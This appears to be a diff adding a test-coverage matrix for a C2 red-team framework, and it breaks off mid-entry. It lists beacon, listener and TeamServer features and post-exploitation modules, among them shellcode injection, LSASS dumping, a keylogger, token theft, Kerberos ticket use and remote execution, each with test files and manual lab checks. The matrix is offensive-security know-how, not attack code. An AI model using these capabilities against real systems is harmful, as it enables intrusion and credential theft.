TEAMSERVER-SHELLCODE-SERVICE-001 + area: TeamServer + feature: Shellcode service + scenario: "Generate shellcode artifacts from supported sources and expose generic generator metadata." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: x64, listener: n/a, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "core/modules/AssemblyExec/tests/testsAssemblyExec.cpp", "core/modules/Inject/tests/testsInject.cpp"] + manual: ["Run assemblyExec --donut-exe and inject with a real Windows beacon."] + + - id: TEAMSERVER-LISTENER-SESSION-SERVICE-001 + area: TeamServer + feature: Listener/session service + scenario: "Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Connect multiple beacons/listeners and verify command routing in C2Client."] + + - id: TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001 + area: TeamServer + feature: Listener artifact service + scenario: "Resolve beacon binaries by target OS and arch for droppers and terminal operations." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: any, listener: any, artifact_category: beacons} + evidence: + auto: ["teamServer/tests/TeamServerListenerArtifactServiceTests.cpp"] + manual: ["Generate a dropper for Windows x64 and Linux x64 and verify selected beacon binary."] + + - id: TEAMSERVER-SOCKS-SERVICE-001 + area: TeamServer + feature: SOCKS service + scenario: "Start, list, and stop TeamServer SOCKS routes from terminal commands." + priority: medium + validation: auto+manual + axes: {os: teamserver, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/TeamServerSocksServiceTests.cpp"] + manual: ["Run terminal socks start/list/stop against a live beacon route."] + + - id: BEACON-CORE-REGISTER-001 + area: Beacon + feature: Registration and metadata + scenario: "Register hostname, username, OS, arch, privilege, process id, internal IPs, and additional information." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/beacon/tests/testBeacon.cpp", "core/beacon/tests/testBeaconHttp.cpp"] + manual: ["Launch Windows and Linux beacons and verify rows in Sessions panel."] + + - id: BEACON-CORE-HEARTBEAT-001 + area: Beacon + feature: Heartbeat and state + scenario: "Update last seen, stale state, listener proof of life, and reconnect behavior." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/beacon/tests/testBeacon.cpp", "C2Client/tests/test_session_panel.py"] + manual: ["Use low C2_SESSION_STALE_AFTER_MS and verify now/stale transitions."] + + - id: BEACON-CORE-TASK-QUEUE-001 + area: Beacon + feature: Task queue + scenario: "Receive tasks, execute common commands/modules, return command IDs, and preserve command context." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/beacon/tests/testBeacon.cpp", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run pwd, ls, help, loadModule, and download through a live beacon."] + + - id: BEACON-CORE-CHUNKED-RESULTS-001 + area: Beacon + feature: Chunked command results + scenario: "Emit recurring chunks for large results and finish with a single success response." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: generated} + evidence: + auto: ["core/modules/Download/tests/testsDownload.cpp", "core/modules/MiniDump/tests/testsMiniDump.cpp", "core/modules/ScreenShot/tests/testsScreenShot.cpp"] + manual: ["Run download of a large file and screenShot from a real beacon."] + + - id: BEACON-CORE-MODULE-LIFECYCLE-001 + area: Beacon + feature: Module lifecycle + scenario: "loadModule, unloadModule, listModule, duplicate-load rejection, and module count tracking." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["teamServer/tests/TeamServerListenerSessionServiceTests.cpp", "core/modules/ModuleCmd/tests/testsModuleCmd.cpp"] + manual: ["Load pwd, verify listModule, attempt duplicate load, then unload."] + + - id: LISTENER-HTTPS-001 + area: Listeners + feature: HTTPS listener + scenario: "Start listener, register beacon, exchange tasks/results, host artifacts, and stop listener." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: hosted} + evidence: + auto: ["core/beacon/tests/testBeaconHttp.cpp", "teamServer/tests/TeamServerHttpListenerTransportTests.cpp"] + manual: ["Run a full Windows x64 and Linux x64 beacon golden path over HTTPS."] + + - id: LISTENER-HTTP-001 + area: Listeners + feature: HTTP listener + scenario: "Start listener, register beacon, and exchange simple command results." + priority: high + validation: manual + axes: {os: any, arch: any, listener: http, artifact_category: n/a} + evidence: + auto: [] + manual: ["Run whoami/pwd through HTTP listener."] + + - id: LISTENER-TCP-001 + area: Listeners + feature: TCP listener + scenario: "Start TCP listener and route task/result traffic." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: tcp, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerTcp.cpp", "core/beacon/tests/testBeaconTcp.cpp"] + manual: ["Run whoami/pwd through TCP listener."] + + - id: LISTENER-SMB-001 + area: Listeners + feature: SMB listener + scenario: "Start SMB listener and route task/result traffic through named pipe transport." + priority: high + validation: auto+manual + axes: {os: windows, arch: any, listener: smb, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerSmb.cpp", "core/beacon/tests/testBeaconSmb.cpp"] + manual: ["Run whoami through SMB listener with a Windows beacon."] + + - id: LISTENER-DNS-001 + area: Listeners + feature: DNS listener + scenario: "Start DNS listener and route task/result traffic within DNS transport limits." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: dns, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerDns.cpp", "core/beacon/tests/testBeaconDns.cpp"] + manual: ["Run small commands through DNS listener and verify no large artifact test is attempted."] + + - id: LISTENER-GITHUB-001 + area: Listeners + feature: GitHub listener + scenario: "Start GitHub listener and route task/result traffic through configured repository transport." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: github, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerGithub.cpp", "core/beacon/tests/testBeaconGithub.cpp"] + manual: ["Run a simple command through GitHub listener with test credentials/repo."] + + - id: COMMON-HELP-001 + area: CommonCommands + feature: help + scenario: "List commands and show command-specific help from CommandSpec." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: command_specs} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/help.json", "teamServer/tests/TeamServerHelpServiceTests.cpp"] + manual: ["Run help and help in a beacon console."] + + - id: COMMON-SLEEP-001 + area: CommonCommands + feature: sleep + scenario: "Change beacon sleep interval and reject invalid values clearly." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/sleep.json", "core/beacon/tests/testBeacon.cpp"] + manual: ["Run sleep 1 then verify beacon polling delay changes."] + + - id: COMMON-END-001 + area: CommonCommands + feature: end + scenario: "Stop a beacon session cleanly." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/end.json", "core/beacon/tests/testBeacon.cpp"] + manual: ["Run end and verify session stops updating."] + + - id: COMMON-LISTENER-001 + area: CommonCommands + feature: listener + scenario: "Start and stop child listeners from a beacon using validated listener parameters." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/listener.json", "core/beacon/tests/testBeacon.cpp"] + manual: ["Run listener start tcp and listener stop from a beacon."] + + - id: COMMON-LOADMODULE-001 + area: CommonCommands + feature: loadModule + scenario: "Autocomplete unloaded modules, resolve module artifacts by OS/arch, and reject duplicates." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/loadModule.json", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run loadModule pwd, listModule, duplicate loadModule pwd."] + + - id: COMMON-UNLOADMODULE-001 + area: CommonCommands + feature: unloadModule + scenario: "Autocomplete loaded modules and unload selected module." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/unloadModule.json", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run unloadModule pwd after loadModule pwd."] + + - id: COMMON-LISTMODULE-001 + area: CommonCommands + feature: listModule + scenario: "List loaded modules by name and state in the beacon console." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/listModule.json", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run listModule and verify name/status output only."] + + - id: ARTIFACT-LAYOUT-001 + area: Artifacts + feature: Release data layout + scenario: "Release scripts place files under the canonical data layout with platform and arch subfolders." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: ["docs/artifacts.md", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Run clean build plus download-c2implant-artifacts.sh and download-c2linuximplant-artifacts.sh."] + + - id: ARTIFACT-TOOLS-001 + area: Artifacts + feature: Tools + scenario: "Resolve Tools// and Tools/Any/any for module preparers and terminal upload." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: tools} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Place a tool under Tools/Windows/x64 and verify autocomplete/preparer resolution."] + + - id: ARTIFACT-SCRIPTS-001 + area: Artifacts + feature: Scripts + scenario: "Resolve Scripts/Windows, Scripts/Linux, and Scripts/Any for script-backed commands." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: scripts} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run powershell -s and script with files from Scripts folder."] + + - id: ARTIFACT-UPLOADED-001 + area: Artifacts + feature: UploadedArtifacts + scenario: "Resolve operator-uploaded payloads by category, platform, arch, and Any/any fallback." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: uploaded} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_artifact_panel.py"] + manual: ["Upload a file via Artifacts tab and use it with upload and kerberosUseTicket."] + + - id: ARTIFACT-GENERATED-001 + area: Artifacts + feature: GeneratedArtifacts + scenario: "Store download, screenshot, minidump, shellcode, hosted, and future generated categories with sidecars." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerArtifactCatalogTests.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Generate download, screenshot, and payload artifacts and inspect Artifacts tab."] + + - id: MODULE-ASSEMBLYEXEC-CONTRACT-001 + area: Modules + feature: assemblyExec + scenario: "Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/AssemblyExec/tests/testsAssemblyExec.cpp", "core/modules/AssemblyExec/tests/functional/testsAssemblyExecFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_console_panel.py"] + manual: ["Run assemblyExec --donut-exe Rubeus.exe -- on Windows x64 HTTPS beacon."] + + - id: MODULE-INJECT-CONTRACT-001 + area: Modules + feature: inject + scenario: "Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/Inject/tests/testsInject.cpp", "core/modules/Inject/tests/functional/testsInjectFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_console_panel.py"] + manual: ["Run inject --pid --donut-exe Tool.exe -- and inject with beacon payload option."] + + - id: MODULE-DOWNLOAD-CONTRACT-001 + area: Modules + feature: download + scenario: "Download remote file into GeneratedArtifacts/download/beacon using chunked output and registered sidecar." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/Download/tests/testsDownload.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run download and verify generated artifact hash/size in Artifacts tab."] + + - id: MODULE-UPLOAD-CONTRACT-001 + area: Modules + feature: upload + scenario: "Upload an UploadedArtifact to a remote path with server-controlled input resolution." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: uploaded} + evidence: + auto: ["core/modules/Upload/tests/testsUpload.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Upload an operator file in Artifacts tab, run upload , then cat/list it remotely."] + + - id: MODULE-MINIDUMP-CONTRACT-001 + area: Modules + feature: miniDump + scenario: "Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/MiniDump/tests/testsMiniDump.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run miniDump dump lsass.xored as elevated Windows beacon and verify generated artifact."] + + - id: MODULE-SCREENSHOT-CONTRACT-001 + area: Modules + feature: screenShot + scenario: "Capture desktop BMP, return chunked generated screenshot artifact, and show a single final console result." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/ScreenShot/tests/testsScreenShot.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run screenShot desktop.bmp on Windows x64 HTTPS beacon and open generated BMP."] + + - id: MODULE-POWERSHELL-CONTRACT-001 + area: Modules + feature: powershell + scenario: "Execute inline commands and Scripts-backed -s payloads without sending literal -s to PowerShell." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: scripts} + evidence: + auto: ["core/modules/Powershell/tests/testsPowershell.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run powershell -s testScript.ps1 and verify script output, then run powershell whoami."] + + - id: MODULE-PWSH-CONTRACT-001 + area: Modules + feature: pwSh + scenario: "Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/PwSh/tests/testsPwSh.cpp", "core/modules/PwSh/tests/functional/testsPwShFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run pwSh init, pwSh command, and pwSh script with rdm.dll from Tools/Any/any."] + + - id: MODULE-SCRIPT-CONTRACT-001 + area: Modules + feature: script + scenario: "Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: scripts} + evidence: + auto: ["core/modules/Script/tests/testsScript.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run script with a Windows script and a Linux script on matching beacons."] + + - id: MODULE-CHISEL-CONTRACT-001 + area: Modules + feature: chisel + scenario: "Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/Chisel/tests/testsChisel.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run chisel start/status/stop after placing chisel.exe under Tools/Windows/x64."] + + - id: MODULE-DOTNETEXEC-CONTRACT-001 + area: Modules + feature: dotnetExec + scenario: "Load .NET assemblies from Tools, execute loaded assemblies, and autocomplete load artifacts." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/DotnetExec/tests/testsDotnetExec.cpp", "core/modules/DotnetExec/tests/functional/testsDotnetExecFunctional.cpp", "C2Client/tests/test_console_panel.py"] + manual: ["Run dotnetExec load then execute a command from the loaded assembly."] + + - id: MODULE-PSEXEC-CONTRACT-001 + area: Modules + feature: psExec + scenario: "Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/PsExec/tests/testsPsExec.cpp", "core/modules/PsExec/tests/functional/testsPsExecFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run psExec against a lab Windows host with a Tools or UploadedArtifacts service binary."] + + - id: MODULE-KERBEROSUSETICKET-CONTRACT-001 + area: Modules + feature: kerberosUseTicket + scenario: "Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: uploaded} + evidence: + auto: ["core/modules/KerberosUseTicket/tests/testsKerberosUseTicket.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Upload a test .kirbi file and run kerberosUseTicket ."] + + - id: MODULE-COFFLOADER-CONTRACT-001 + area: Modules + feature: coffLoader + scenario: "Load COFF object from Tools and execute with packed arguments." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/CoffLoader/tests/testsCoffLoader.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run coffLoader with a known test COFF artifact from Tools/Windows/x64."] + + - id: MODULE-KEYLOGGER-CONTRACT-001 + area: Modules + feature: keyLogger + scenario: "Start/stop keylogger and collect key output safely." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/KeyLogger/tests/testsKeyLogger.cpp"] + manual: ["Run keyLogger start/stop in lab and verify expected output behavior."] + + - id: MODULE-KEYLOGGER-GENERATED-ARTIFACT-002 + area: Modules + feature: keyLogger generated artifact + scenario: "Persist keylogger follow-up output incrementally into GeneratedArtifacts/keylogger with host/timestamp naming." + priority: medium + validation: planned + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: [] + manual: ["Planned feature from TODO; validate after implementation."] + + - id: MODULE-REVERSEPORTFORWARD-CONTRACT-001 + area: Modules + feature: reversePortForward + scenario: "Start/stop reverse port forwarding and emit recurring traffic chunks." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ReversePortForward/tests/testsReversePortForward.cpp"] + manual: ["Open a reverse port forward through a live beacon and verify bidirectional traffic."] + + - id: MODULE-SIMPLE-FILESYSTEM-001 + area: Modules + feature: Simple filesystem modules + scenario: "Validate cat, cd, ls, mkdir, remove, tree, pwd, upload, download, and path error handling." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: any} + evidence: + auto: ["core/modules/Cat/tests/testsCat.cpp", "core/modules/ChangeDirectory/tests/testsChangeDirectory.cpp", "core/modules/ListDirectory/tests/testsListDirectory.cpp", "core/modules/MkDir/tests/testsMkDir.cpp", "core/modules/Remove/tests/testsRemove.cpp", "core/modules/Tree/tests/testsTree.cpp", "core/modules/PrintWorkingDirectory/tests/testsPrintWorkingDirectory.cpp"] + manual: ["Run pwd, ls, cd, cat, mkDir, remove, tree, upload, and download on Windows and Linux beacons."] + + - id: MODULE-SIMPLE-SYSTEM-001 + area: Modules + feature: Simple system info/process modules + scenario: "Validate whoami, getEnv, ipConfig, netstat, ps/listProcesses, killProcess, shell, and run." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Whoami/tests/testsWhoami.cpp", "core/modules/GetEnv/tests/testsGetEnv.cpp", "core/modules/IpConfig/tests/testsIpConfig.cpp", "core/modules/Netstat/tests/testsNetstat.cpp", "core/modules/ListProcesses/tests/testsListProcesses.cpp", "core/modules/KillProcess/tests/testsKillProcess.cpp", "core/modules/Shell/tests/testsShell.cpp", "core/modules/Run/tests/testsRun.cpp"] + manual: ["Run whoami, getEnv, ipConfig, netstat, ps, killProcess on a safe dummy PID, shell, and run."] + + - id: MODULE-WINDOWS-EXEC-001 + area: Modules + feature: Windows remote execution modules + scenario: "Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/CimExec/tests/testsCimExec.cpp", "core/modules/CimExec/tests/functional/testsCimExecFunctional.cpp", "core/modules/DcomExec/tests/testsDcomExec.cpp", "core/modules/DcomExec/tests/functional/testsDcomExecFunctional.cpp", "core/modules/SshExec/tests/testsSshExec.cpp", "core/modules/SshExec/tests/functional/testsSshExecFunctional.cpp", "core/modules/WinRM/tests/testsWinRM.cpp", "core/modules/WinRM/tests/functional/testsWinRMFunctional.cpp", "core/modules/WmiExec/tests/testsWmiExec.cpp", "core/modules/WmiExec/tests/functional/testsWmiExecFunctional.cpp"] + manual: ["Run one controlled lab command for each available remote execution method."] + + - id: MODULE-WINDOWS-PRIVILEGE-001 + area: Modules + feature: Windows privilege/token modules + scenario: "Validate makeToken, stealToken, rev2self, spawnAs, and related error handling." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/MakeToken/tests/testsMakeToken.cpp", "core/modules/StealToken/tests/testsStealToken.cpp", "core/modules/Rev2self/tests/testsRev2self.cpp", "core/modules/SpawnAs/tests/testsSpawnAs.cpp", "core/modules/SpawnAs/tests/functional/testsSpawnAsFunctional.cpp"] + manual: ["Run token operations in a lab VM with known local users and safe target process."] + + - id: MODULE-WINDOWS-ADMIN-001 + area: Modules + feature: Windows admin modules + scenario: "Validate registry, taskScheduler, evasion, enumerateShares, and enumerateRdpSessions." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Registry/tests/testsRegistry.cpp", "core/modules/TaskScheduler/tests/testsTaskScheduler.cpp", "core/modules/TaskScheduler/tests/functional/testsTaskSchedulerFunctional.cpp", "core/modules/Evasion/tests/testsEvasion.cpp", "core/modules/Evasion/tests/functional/testsEvasionFunctional.cpp", "core/modules/EnumerateShares/tests/testsEnumerateShares.cpp", "core/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp", "core/modules/EnumerateRdpSessions/tests/functional/testsEnumerateRdpSessionsFunctional.cpp"] + manual: ["Run read-only registry/query/enumeration commands and one safe task scheduler create/delete cycle."] + + - id: MODULE-CAT-CONTRACT-001 + area: Modules + feature: cat + scenario: "Read a remote file and report readable errors for missing paths." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Cat/tests/testsCat.cpp"] + manual: ["Run cat on an existing and missing file on Windows/Linux golden paths."] + + - id: MODULE-CD-CONTRACT-001 + area: Modules + feature: cd + scenario: "Change current working directory and reject invalid paths clearly." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ChangeDirectory/tests/testsChangeDirectory.cpp"] + manual: ["Run cd into an existing directory, then pwd, then cd to a missing path."] + + - id: MODULE-LS-CONTRACT-001 + area: Modules + feature: ls + scenario: "List remote directory contents with stable formatting and path error handling." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ListDirectory/tests/testsListDirectory.cpp"] + manual: ["Run ls on default directory, explicit directory, and missing directory."] + + - id: MODULE-MKDIR-CONTRACT-001 + area: Modules + feature: mkDir + scenario: "Create remote directories and report existing/invalid path failures." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/MkDir/tests/testsMkDir.cpp"] + manual: ["Run mkDir for a new temp path and verify it appears in ls."] + + - id: MODULE-REMOVE-CONTRACT-001 + area: Modules + feature: remove + scenario: "Remove remote files/directories and report safe errors for missing paths." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Remove/tests/testsRemove.cpp"] + manual: ["Create a temp file/directory, run remove, then verify it is gone."] + + - id: MODULE-TREE-CONTRACT-001 + area: Modules + feature: tree + scenario: "Render recursive directory tree output without breaking console formatting." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Tree/tests/testsTree.cpp"] + manual: ["Run tree on a small controlled directory."] + + - id: MODULE-PWD-CONTRACT-001 + area: Modules + feature: pwd + scenario: "Return current working directory once, without duplicate console output." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/PrintWorkingDirectory/tests/testsPrintWorkingDirectory.cpp"] + manual: ["Run pwd and verify one queued line, one done line, and one output block."] + + - id: MODULE-WHOAMI-CONTRACT-001 + area: Modules + feature: whoami + scenario: "Return current user identity with clear output." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Whoami/tests/testsWhoami.cpp"] + manual: ["Run whoami on Windows and Linux golden paths."] + + - id: MODULE-GETENV-CONTRACT-001 + area: Modules + feature: getEnv + scenario: "Return environment variables or a selected variable with clear missing-value handling." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/GetEnv/tests/testsGetEnv.cpp"] + manual: ["Run getEnv PATH or equivalent safe variable on Windows/Linux."] + + - id: MODULE-IPCONFIG-CONTRACT-001 + area: Modules + feature: ipConfig + scenario: "Return interface/network information without truncating important data." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/IpConfig/tests/testsIpConfig.cpp"] + manual: ["Run ipConfig and compare with local OS network information."] + + - id: MODULE-NETSTAT-CONTRACT-001 + area: Modules + feature: netstat + scenario: "Return network connection/listening information in a readable format." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Netstat/tests/testsNetstat.cpp"] + manual: ["Run netstat and verify expected local listener/client connections appear."] + + - id: MODULE-PS-CONTRACT-001 + area: Modules + feature: ps + scenario: "List processes with PID/name metadata and no console formatting breakage." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ListProcesses/tests/testsListProcesses.cpp"] + manual: ["Run ps and verify the beacon process or a known process appears."] + + - id: MODULE-KILLPROCESS-CONTRACT-001 + area: Modules + feature: killProcess + scenario: "Kill a safe dummy process and reject invalid PID values clearly." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/KillProcess/tests/testsKillProcess.cpp"] + manual: ["Start a harmless dummy process, run killProcess , verify it exits."] + + - id: MODULE-SHELL-CONTRACT-001 + area: Modules + feature: shell + scenario: "Execute shell commands with stdout/stderr capture and startup failure handling." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Shell/tests/testsShell.cpp"] + manual: ["Run shell whoami/echo and an invalid command on Windows/Linux."] + + - id: MODULE-RUN-CONTRACT-001 + area: Modules + feature: run + scenario: "Run local process commands with stdout/stderr capture and startup failure handling." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Run/tests/testsRun.cpp"] + manual: ["Run a safe command and an invalid executable path."] + + - id: MODULE-CIMEXEC-CONTRACT-001 + area: Modules + feature: cimExec + scenario: "Validate CIM execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/CimExec/tests/testsCimExec.cpp", "core/modules/CimExec/tests/functional/testsCimExecFunctional.cpp"] + manual: ["Run cimExec against a controlled Windows lab host."] + + - id: MODULE-DCOMEXEC-CONTRACT-001 + area: Modules + feature: dcomExec + scenario: "Validate DCOM execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/DcomExec/tests/testsDcomExec.cpp", "core/modules/DcomExec/tests/functional/testsDcomExecFunctional.cpp"] + manual: ["Run dcomExec against a controlled Windows lab host."] + + - id: MODULE-SSHEXEC-CONTRACT-001 + area: Modules + feature: sshExec + scenario: "Validate SSH execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/SshExec/tests/testsSshExec.cpp", "core/modules/SshExec/tests/functional/testsSshExecFunctional.cpp"] + manual: ["Run sshExec against a controlled SSH lab host."] + + - id: MODULE-WINRM-CONTRACT-001 + area: Modules + feature: winRm + scenario: "Validate WinRM execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/WinRM/tests/testsWinRM.cpp", "core/modules/WinRM/tests/functional/testsWinRMFunctional.cpp"] + manual: ["Run winRm against a controlled Windows lab host."] + + - id: 